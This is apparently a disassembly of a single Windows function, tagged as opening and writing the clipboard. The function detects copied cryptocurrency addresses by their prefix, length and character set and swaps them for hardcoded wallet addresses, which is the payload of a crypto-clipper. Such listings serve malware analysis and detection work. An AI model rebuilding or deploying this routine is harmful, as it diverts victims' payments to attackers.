Function at 0x401da0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
add esp, 4
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x31
je 0x401e72
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x33
je 0x401e72
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x71
je 0x401e72
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x32
je 0x401e72
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x58
je 0x401e72
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x44
je 0x401e72
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x30
je 0x401e72
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x4c
je 0x401e72
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x34
je 0x401e72
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x50
je 0x401e72
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x74
je 0x401e72
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x7a
je 0x401e72
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x47
je 0x401e72
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x55
je 0x401e72
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x45
je 0x401e72
xor al, al
jmp 0x4020fd
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x34
je 0x401e88
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x32
jne 0x401e9d
cmp dword [ebp - 0xc], 0x5a
jb 0x401e94
cmp dword [ebp - 0xc], 0x73
jbe 0x401e9b
xor al, al
jmp 0x4020fd
jmp 0x401ee0
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x47
je 0x401ebe
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x55
je 0x401ebe
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x45
jne 0x401ecd
cmp dword [ebp - 0xc], 9
je 0x401ecb
xor al, al
jmp 0x4020fd
jmp 0x401ee0
cmp dword [ebp - 0xc], 0x19
jb 0x401ed9
cmp dword [ebp - 0xc], 0x2d
jbe 0x401ee0
xor al, al
jmp 0x4020fd
mov dword [ebp - 8], 0
jmp 0x401ef2
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0xc]
jae 0x401f62
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx]
cmp edx, 0x4f
je 0x401f24
mov eax, dword [ebp + 8]
add eax, dword [ebp - 8]
movsx ecx, byte [eax]
cmp ecx, 0x49
je 0x401f24
mov edx, dword [ebp + 8]
add edx, dword [ebp - 8]
movsx eax, byte [edx]
cmp eax, 0x6c
jne 0x401f2b
xor al, al
jmp 0x4020fd
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx]
push edx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalpha]
add esp, 4
test eax, eax
jne 0x401f60
mov eax, dword [ebp + 8]
add eax, dword [ebp - 8]
movsx ecx, byte [eax]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isdigit]
add esp, 4
test eax, eax
jne 0x401f60
xor al, al
jmp 0x4020fd
jmp 0x401ee9
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x31
je 0x401f78
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x33
jne 0x401f7f
mov dword [ebp - 4], str.1L6sJ7pmk6EGMUoTmpdbLez9dXACcirRHh
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x71
jne 0x401f91
mov dword [ebp - 4], str.qzgdgnfd805z83wpu04rhld0yqs4dlrd35ll0ltqql
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x32
jne 0x401fa3
mov dword [ebp - 4], str.2APZ3wq1VtyCKRq3z6o58yErEHYwtnQmQH9RrsmkBTmTPG8tjt6HJorFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97qV1xjj
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x58
jne 0x401fb5
mov dword [ebp - 4], str.Xt8ZtCcG9BFoc7NfUNBVnxcTvYT4mmzh5i
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x44
jne 0x401fc7
mov dword [ebp - 4], str.D7otx94yAiXMUuuff23v8PAYH5XpkdQ89M
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x30
jne 0x401fd9
mov dword [ebp - 4], str.0xa5228127395263575a4b4f532e4f132b14599d24
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x4c
jne 0x401feb
mov dword [ebp - 4], str.LUMrZN6GTetcrXtzMmRayLpRN9JrCNcTe7
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x34
jne 0x401ffd
mov dword [ebp - 4], str.4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQkmhPYCYw8iVCCfAwP
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x50
jne 0x40200f
mov dword [ebp - 4], str.PEQUvKSBqyD3AFqFmZJ4C95HP3G8aWBC5t
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x74
je 0x402025
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x7a
jne 0x40202c
mov dword [ebp - 4], str.t1PVHo3JR9ZAxMxRXgTziGBeDwfb5Gwm64z
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x47
je 0x40204d
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x55
je 0x40204d
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x45
jne 0x402083
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x47
jne 0x40205f
mov dword [ebp - 4], str.G19665901
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x55
jne 0x402071
mov dword [ebp - 4], str.U20733431
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x45
jne 0x402083
mov dword [ebp - 4], str.E20895198
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add eax, 1
push eax
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x14]
add edx, 1
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.VCRUNTIME140.dll_memcpy]
add esp, 0xc
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4020fb
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov eax, dword [ebp - 0x10]
push eax
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov al, 1
mov esp, ebp
pop ebp
ret